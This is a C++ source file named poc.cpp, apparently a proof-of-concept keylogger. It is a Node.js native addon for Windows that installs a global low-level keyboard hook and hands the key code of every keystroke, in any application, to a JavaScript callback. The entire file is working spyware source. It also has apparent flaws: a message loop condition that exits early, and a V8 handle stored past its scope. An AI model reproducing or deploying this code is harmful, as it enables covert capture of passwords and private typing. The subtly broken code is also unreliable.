poc.cpp

#include <node.h>
#include <nan.h>
#include <sstream>
#include <string>
#include <Windows.h>
#define _WIN32_WINNT 0x050

using namespace v8;

Local<Function> cb;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    BOOL fEatKeystroke = FALSE;

    if (nCode == HC_ACTION)
    {
        switch (wParam)
        {
        case WM_KEYDOWN:
            PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
            const unsigned argc = 1;
            Isolate* isolate = Isolate::GetCurrent();
            std::ostringstream stream;
            stream << p->vkCode;
            std::string str = stream.str();
            Local<Value> argv[argc] = { String::NewFromUtf8(isolate, str.c_str()) };
            cb->Call(isolate->GetCurrentContext()->Global(), argc, argv);
            break;
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

void RunCallback(const FunctionCallbackInfo<Value>& args) {
  Isolate* isolate = Isolate::GetCurrent();
  HandleScope scope(isolate);

  cb = Local<Function>::Cast(args[0]);

  HHOOK hhkLowLevelKybd = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0);

  //  Keep this app running until we're told to stop
   MSG msg;
   while (!GetMessage(&msg, NULL, NULL, NULL)) {    //this while loop keeps the hook
       TranslateMessage(&msg);
       DispatchMessage(&msg);
   }

   UnhookWindowsHookEx(hhkLowLevelKybd);
}

void Init(Handle<Object> exports, Handle<Object> module) {
  NODE_SET_METHOD(module, "exports", RunCallback);
}

NODE_MODULE(addon, Init)